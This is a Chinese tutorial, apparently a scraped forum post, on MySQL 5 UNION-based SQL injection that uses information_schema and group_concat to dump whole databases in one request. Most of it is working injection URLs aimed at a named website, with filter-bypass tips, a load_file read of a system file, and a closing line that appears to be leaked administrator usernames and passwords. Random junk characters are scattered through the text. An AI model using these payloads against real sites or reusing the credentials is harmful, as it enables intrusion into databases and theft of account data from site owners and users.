此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
: T+ M9 J+ y7 M1 m# F* J但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人* ~5 m/ k* f) p& d& k. B8 x
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' C* R! i* g1 h# U. Y, N优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入/ E. k" e$ Z3 F% D% z/ U
5 ^9 p5 [# {* t/ B& |3 `' V$ ?( l缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...5 C. d2 S* i/ { E6 e
, w3 ]# u% J( h下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
( G0 a5 G, U2 Z9 E4 a+ ~在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等5 u8 D6 {# R/ u5 Z: W
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http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
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读出所有库:
( k* ?" G: v( vhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
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1 L& J- q- J6 b' v2 R. t读出所有表:
: X9 ?5 z" ?# E7 B+ e) Shttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()% J% |% K2 [% b
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读出所有表字段:% m8 y: E5 C, d, r2 ]# `
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)
$ V$ d- M, L5 a: V*/ (97,100,109,105,110)为admin的ascii码 依次类推
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' |0 |; t1 y9 b, p9 O- g读出所有表字段里的内容:
2 g( \2 N4 Z7 `http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
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http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%235 ^! Z7 [( Y- \/ V$ ?$ I
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6 O1 k7 `# P p/ ^2 F7 ihttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%234 y- m4 ~' h) Z
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http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%237 k* s* @4 U5 r; @$ y; ]* i, f6 E
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$ V& x& y* ^# o$ T5 Z8 W' Nhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23* `( p* S3 \' i; B- ~# R
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webmaster:dzb521123,simlab:simadmin20043233
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